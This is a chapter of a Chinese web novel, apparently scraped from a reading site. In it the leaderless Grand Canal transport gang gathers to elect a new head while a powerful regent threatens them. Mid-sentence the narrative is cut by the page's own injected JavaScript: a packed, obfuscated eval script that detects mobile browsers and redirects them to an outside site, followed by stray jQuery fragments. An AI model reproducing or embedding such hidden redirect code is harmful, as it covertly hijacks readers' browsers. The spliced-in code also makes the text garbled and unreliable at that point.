第155章推举帮主
作品:《凤袍要加身》 二月初六,卯末辰初。
江南的春日,本该是草长莺飞、杏花烟雨的时节。可这一日的黎明,却笼罩在一片粘稠的湿冷之中。浓雾如乳白色的巨兽,吞噬了运河两岸的垂柳画舫,吞噬了青石板路上的晨起行人,也吞噬了那座盘踞在运河畔已逾百年、宛如水上城池的漕帮总舵。
总舵依水而建,占地百余亩,黑瓦青砖,飞檐如钩。五座高达三丈的瞭望塔楼分踞四方与中央,塔顶的漕帮黑旗在湿重的雾气中无力垂落,旗面上那个以金线绣成的巨大“漕”字,也失去了往日的张扬霸气,只余下模糊的轮廓。石砌的码头沿着河岸延伸出半里有余,可同时泊靠五十艘大型漕船,此刻却空空荡荡——所有船只昨夜便接到严令,今日一律不得靠近总舵三里之内。
空气里弥漫着河水特有的腥气、陈年货物堆积的霉味,以及一种近乎凝滞的压抑。帮众们早已接到指令,三步一岗,五步一哨,将总舵围得铁桶一般。这些平日里吆五喝六、在运河上讨生活的汉子,今日却个个面色紧绷,按在刀柄上的手背青筋隐现,眼神里除了戒备,更有一种深藏的不安与茫然。
他们知道,天要变了。
议事堂——这座漕帮的权力核心,此刻更是气氛凝重得能拧出水来。
大堂面阔九间,进深五间,取“九五”之数,足见其昔日的野心与辉煌。七十二根合抱粗的楠木柱子撑起高阔的穹顶,柱身被岁月和香火熏染成深褐色。正北墙上,悬挂着一幅巨大的《漕运**图》,描绘着运河自钱塘至通州的千里风光,笔力雄浑,气势磅礴。图下,是一张宽逾丈二的紫檀木雕花大案,案后那张象征着漕帮至高权柄的虎皮交椅,此刻却显得无比空旷而刺眼。
因为,那张椅子的主人,漕帮第三十七代帮主,“镇河龙王”柳擎天,如今只能瘫坐在大案右侧特设的一张铺着厚厚锦垫的紫檀木太师椅上。
柳擎天年近六旬,身高八尺,膀大腰圆,即便如今病骨支离,那骨架依旧能看出当年的雄武。他脸上纵横交错的皱纹如同运河冲刷出的沟壑,每一道都刻着风浪与刀光。可此刻,这张曾经令运河两岸黑白两道闻风丧胆的面孔,却呈现出一种死灰般的蜡黄。左半边身子完全不能动弹,右手虽然还能微微抬起,却抖得厉害。最令人心酸的是他那双眼睛——曾经如鹰隼般锐利,能一眼看透人心、洞悉河上风云的眼睛,如今浑浊不堪,眼神涣散,嘴角不受控制地淌下涎水,只能用那唯一还能动的右手,死死抠住太师椅的扶手,指节因为用力而发白。
这位执掌漕帮三十年,在运河上说一不二、连官府都要让他三分的枭雄,如今却连一句完整的话都说不出来,只能从喉咙深处发出“嗬嗬”的、如同破风箱般的声响。每一次努力想要表达什么的尝试,都只能让那半边僵硬的脸颊肌肉更加扭曲。
侍立在他身侧的,是他的独子,漕帮少主柳随风。他约莫二十五六岁年纪,身量修长,着一身藏青色劲装,腰佩一柄镶着蓝宝石的秋水长剑。他的面容继承了母亲的清秀,眉眼间甚至带着几分江南文士的雅致,与父亲粗犷的样貌截然不同。可此刻,这张本该俊逸的脸上却笼罩着一层驱之不散的阴郁,嘴唇紧抿成一条苍白的直线,眼底深处是浓得化不开的焦虑与……恐惧。
他的目光,时不时地瞟向议事堂那两扇紧闭的、高逾一丈的朱漆大门。门外,晨雾弥漫,寂静得可怕。可他知道,这份寂静之下,是足以吞噬整个漕帮的惊涛骇浪。
堂内黑压压坐了近百人。左侧上首,是五位须发皆白、但眼神依旧精光内蕴的长老——传功长老“铁掌开碑”石镇岳、执法长老“冷面判官”司徒玄、内务长老“笑面财神”钱不多、外联长老“八面玲珑”风四海、以及掌舵长老“浪里蛟”**。这五人跟随柳擎天打下半壁江山,在帮中威望极高,各自掌握着漕帮至关重要的权柄。
右侧,则是三十六路分舵中排名前二十位的舵主,以及各重要堂口的香主。这些人或精悍、或粗豪、或阴沉,无一不是手握实权、在各自地盘上呼风唤雨的人物。他们身上混杂着江湖人的草莽气息与行商者的精明算计,形成一种独特的气质。此刻,这些平日里跺跺脚就能让一段河道震颤的汉子们,却个个正襟危坐,眼观鼻、鼻观心,连呼吸都刻意放轻了。
死寂。
只有柳擎天偶尔发出的、含混不清的“嗬嗬”声,以及窗外浓雾中隐约传来的、压抑的梆子声,在空旷的大堂内回荡。
所有人的心头,都压着一块巨石。那块巨石的名字,叫做“变天”。
老帮主突然倒下,漕帮群龙无首,已是危如累卵。而更可怕的是,朝廷——或者说,是那位如今权倾朝野、手段狠辣如雷霆、心思缜密如蛛网的摄政王谢凤卿,她的目光,已经如最精准的鹰隼,锁定了漕帮这块流淌着金银的肥肉。
三日前,那封盖着摄政王金印和监国亲王副印的公文送到时,整个总舵几乎炸开了锅。“派员列席”,“共商漕运革新大计”——话说得客气,可字里行间透出的寒意,让这些在刀口上舔血半生的江湖汉子,都忍不住打了个寒颤。
列席?怕是来摘桃子吧!共商?怕是来定生死吧!
“革新”?革谁的命?运谁的新?
没有人怀疑那位摄政王的手段和决心。宗庙的血腥清洗、户部衙门的雷霆审计、世界**库的惊天动地……这一桩桩、一件件,早已如惊雷般传遍天下。江南虽然远离京城,但消息并不闭塞。他们太清楚,这位横空出世的“财神大帝”,绝非那些只知争权夺利、贪图享乐的庸碌权贵可比。她要的,是真正的改天换地!而漕帮,掌控着帝国南北漕运的半壁江山,每年经手的钱粮货物以千万计,与地方豪强、朝中势力乃至藩王都有着千丝万缕的联
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16981381|186727||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
系,早已成了旧秩序中一块巨大而顽固的基石。
这块基石,她会放过吗?
答案,在每个人心中,都清晰得令人绝望。
“铛——铛——铛——”
辰时的钟声,终于从总舵最高的钟楼上响起,沉闷而悠长,穿透浓雾,敲在每个人的心头。
传功长老石镇岳,这位须发皆白、面庞如刀削斧劈般硬朗的老者,缓缓睁开了微阖的双眼。他的目光如电,扫过堂下众人,最后落在气息奄奄的柳擎天身上,眼底深处掠过一丝痛楚,随即化为磐石般的坚定。他清了清嗓子,那声音如同砂石摩擦,打破了令人窒息的沉默:
“辰时已到。按帮规,三年一度总舵议事,现在开始。”
他的目光转向柳随风,带着一丝不易察觉的复杂:“少主,帮主身体不便,今日议事,便由你代为主持。诸位,可有异议?”
堂下一片寂静。这个时候,谁还敢有异议?柳随风是柳擎天唯一的儿子,名正言顺的继承人,即便资历尚浅、威望不足,但在老帮主尚在、朝廷虎视眈眈的当口,推他出来主持,既是无奈,也是一种姿态——漕帮,仍有主心骨。
柳随风深吸一口气,强迫自己镇定下来。他走到父亲身侧,面向众人,抱拳环揖,声音带着刻意压制的平稳:“诸位叔伯,各位弟兄。家父突遭病厄,无力主持帮务,随风年少德薄,本不敢僭越。然值此非常之时,承蒙诸位长老与弟兄不弃,推随风暂代主持,随风唯有勉力为之,若有不到之处,还请各位叔伯海涵,多多提点。”
这番话,姿态放得极低,既表明了处境,又给了在场元老面子。几位长老面色稍霁,微微点头。一些与柳随风关系尚可的分舵主,也投来鼓励的目光。
“今日议事,首要之务,”柳随风顿了顿,喉结滚动了一下,才艰难地继续道,“乃是依循旧例,并因应当前时局,推举新任帮主,以定帮众之心,以稳运河大局。”
推举帮主!
这四个字像一块巨石投入死水,终于激起了波澜。尽管早有预料,但当柳随风亲口说出时,堂内还是响起了一阵压抑的骚动。目光交汇,暗流汹涌。谁将是新的龙头?是老成持重的长老们?是年轻却占据大义的少主?还是……那位即将到来的、高踞庙堂之上的“贵人”属意之人?
柳随风仿佛没有看到这些闪烁的目光,他按照事先与几位心腹长老商议好的流程,继续道:“其次,鉴于朝廷新政,漕运革新势在必行,为筹措资金,应对变局,并……厘清股权,以便未来与各方合作,今日亦需议定,处置部分帮中公产。”
“处置公产”四个字,他说得极其艰涩。这哪里是“处置”,分明是分割、是变卖、是自断臂膀!可这是那位摄政王公文里暗示的,也是几位长老权衡利弊后认为唯一可能保全漕帮不被连根拔起的办法——主动割肉,或许还能留得青山。

